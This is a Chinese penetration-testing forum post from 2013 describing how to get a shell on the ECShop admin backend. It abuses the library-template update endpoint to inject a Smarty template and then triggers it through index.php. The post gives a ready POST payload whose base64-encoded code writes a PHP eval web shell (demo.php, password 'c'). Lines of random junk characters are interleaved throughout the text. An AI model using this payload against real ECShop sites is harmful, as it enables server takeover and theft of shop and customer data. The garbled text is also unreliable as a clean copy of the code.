中国网络渗透测试联盟
标题:
Ecshop后台getshell
[打印本页]
作者:
admin
时间:
2013-1-11 21:33
标题:
Ecshop后台getshell
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
( m& R9 j; l0 J' M
! e* x" K% S; ^* E: }
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
. l, ]2 Q- m. _+ u) I7 M
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
. c, G) ~" K6 r
admin/template.php
; i0 e1 u* u- B& f/ S+ f" i
]. j; L& \: R P: s7 q/ k
1 if ($_REQUEST['act'] == 'update_library')
5 K2 N" b1 p4 g5 N3 ]0 W/ S
1 q( s( `# ~- v% m
2
0 n. l+ }; |8 Y' z$ F
# V$ ~( |' Q8 j* d! m) ~9 t
3 {
* v: p- g. e* y* c- t6 G& G9 I7 B
6 l3 `- ~3 O" C& X; w% ~" T' p
4 check_authz_json('library_manage');
& E% v4 W; s4 @1 J5 d8 t
! ~8 \! M* c) v) x7 C, D1 r7 V4 t
5
& \/ @+ ?1 z/ @3 F/ B3 N& O4 G
- n- q+ R# M- `. P4 H$ R8 u
6 $html = stripslashes(json_str_iconv($_POST['html']));
: l. S/ l2 K4 [9 H$ I
5 X# J; }- t( i1 ~6 l- d
7
8 V6 f; q- A; E4 h9 ]3 r# \, x* N$ z; q
. X: a5 O4 J. c, @) u3 [
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
3 M$ T- ~& s! a; R
% m/ Z5 e: x! m3 f3 L
9
* J! T3 A$ c$ x7 }9 O1 Z
" d1 W+ V1 i: P
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
$ P0 ?2 v5 V& [. {1 n$ `
- F6 i! U4 I% }$ L' [* a
11
9 |0 e8 a4 J! b- d ?) y
' ?% _* `) t, \! R/ S
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
/ P( `% `* G8 Y! w6 d9 S. L2 P; e
* t, }' d k, A* e8 D. s9 |7 B
13
7 ^- W) t A( [1 y2 s1 t; D
- F& _6 [: O7 m( q$ N- g
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
5 \5 t& d; c" K
% R& g- _: t5 K9 Z# w, }
15 {
$ l1 [+ k0 t4 g
F! x* O: O: E M; n, }
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
- r% \9 f' c' \ Q& B5 @5 F' K
; h( r# a4 u( ` z8 z. q7 s# U
17 make_json_result('', $_LANG['update_lib_success']);
- l3 O+ W/ _7 A2 Z
' ]3 S. D e/ q
18 }
* p' j1 m7 N( I$ U4 T' N
/ R9 j6 L# B" u, Y
19 else
2 x+ U# l- d/ V( O. X3 ~
, K! i. a: n4 M6 o: g
20 {
9 w" R( L- ^" _5 D( }$ E& f0 g2 ?
- Z/ b, s q( l( E7 t
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
/ {1 S# \* ~5 ?, M r
8 ~& f/ s* H0 s' Y+ O
22 }
' h& Q( H, h# W+ i; J
& M. k$ b) h2 b. Q. B
23 }
4 n! u# p2 S/ M1 `! o [( I- G
9 N2 x3 R2 |4 t; u( X, j" @" h
那么找个比较方便调用了模板的文件
8 [6 a. g2 B- B! M% u9 v
index.php
# U. E' {4 C. H) v9 ?- s& I. @
( h; ?5 V9 E# _7 k4 I
1 if ($act == 'cat_rec')
/ U% W( s) w/ |5 _. E7 k; c' l& v m
2 z3 q, R2 M. `& I& ^4 @0 d
2
4 {- C+ n2 o. ~# D( X- Z5 R
$ q+ I$ {: Q% I/ {2 Y: G9 g$ J
3 {
; d3 H8 a! k& P* J5 C
( ] b) o/ p2 L) M6 Y; _
4
/ _5 C/ y( }1 W& N5 _$ w$ A
* I' V, L* b& v4 |4 W: X
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
: w/ D% h% ~ f: c' L) y
9 c7 F$ \5 v/ ]$ ?% V, y* C
6
5 N/ b% q6 r6 V2 i0 h: g
$ i8 I8 @* b2 n0 l# V; D' W, L
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
3 l( W8 `( o3 b
6 ^3 d; D% g& u& S4 V
8
5 s+ f+ J9 f6 N3 Y
1 d' D9 ~) y, N
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
4 r3 E. W5 V3 s8 m! m! Z
. n$ K/ ~- I) d' `1 \! w
10
; E# ^: _; F" f* O5 H
' T+ U: q1 t- t
11 include_once('includes/cls_json.php');
& ?" I! K" R5 d4 S: O- V
- Y. z, t" Z+ W' m0 b: J( m
12
9 }9 [( {$ Y! i# G, _3 _% J: L$ }- X
% b% q0 R. c8 h- o3 e
13 $json = new JSON;
9 h( f+ E9 A$ r7 R
) S9 x* t _& k0 W0 }! B" B
14
0 ~: x6 p# @3 K3 ` r' t+ Z
- D! A9 N1 C1 R
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
6 P# W. [5 S. L; T' o
) h6 |: N( n! y' q3 V
16
- q. ?- [$ L, \
' S. c- O2 H# ]: z5 P# S6 ]
17 $children = get_children($cat_id);
1 d1 @8 a# `0 C W0 M
* p" A% f, y' [3 X( ]
18
# z8 d6 E- v3 _9 j9 P' `: m
$ T- V7 q3 @4 B, n6 k! E
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
5 p; ^4 t6 i$ Q5 D9 p0 P. n
! a4 A# D V& q3 f9 l! q0 q) j
20
' u9 f1 w% r; ^+ T9 L2 K1 x+ e
% Y/ r7 W# O6 a- j
21 $smarty->assign('cat_rec_sign', 1);
" e$ d! f: K7 W* ^
8 S' B# I7 J$ K+ `; l
22
7 w; s. x L( W- R
% C4 p$ d% Q: h" G- |
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
, i/ a2 G o# N% D: m. M
, \* G# |( L( ?8 K$ I7 O- A
24
( }8 {8 ]) {# a/ O. E3 }) ]( Q
. ]5 ^0 `/ C1 z( u* A
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
2 ^" S' ~2 I# y1 o( M; k) Z( U; T# q
1 R9 L- T1 s5 p$ A6 u7 C. k, o* j" f
26
8 s( l) v: v% N' F- W% j4 h% n
% K& |/ X! c R
27 echo $rec_array[$rec_type];
" B. P! \5 O) c
/ o" b m* ^) K M5 \; p4 e
28
) x, P4 B/ u5 g) u$ N
' L6 S: }" }$ q# q
29 die($json->encode($result));
2 C8 ]1 a/ H+ H7 u" }+ E7 {
) z8 X% n0 T& I6 H: I8 y
30
! R' ~1 U; P) g& Z" ]9 G* Z
; g5 s' e; r5 f8 P1 q
31 }
* @# c6 {+ ^' f0 h2 H8 B
# U# h6 K/ A# h. ^8 Z/ `" O
那么就有利用方法了
0 `0 |9 d- m0 I" W( E, r
post包到http://localhost/ec/admin/template.php?act=update_library
5 d) l" t, H5 ?! [6 p
Post内容:
3 U1 |3 G0 A) f% d" F z
# l; n! a1 d* a% K/ X
; {/ x; l2 o; b( j7 ?
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
( I! Z! o6 b4 b. @" ^
. A% L! j6 x9 c
然后访问http://localhost/ec/index.php?act=cat_rec
2 N; M$ V/ ?( p
8 m7 n1 w$ Z! I6 A" i6 H
shel地址:http://localhost/ec/demo.php
+ Z( W' @" F7 @ o! ~! U
密码c
" F. J( F6 G, }# P, o
, z7 O- d! r8 c* ]1 B0 [3 a
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2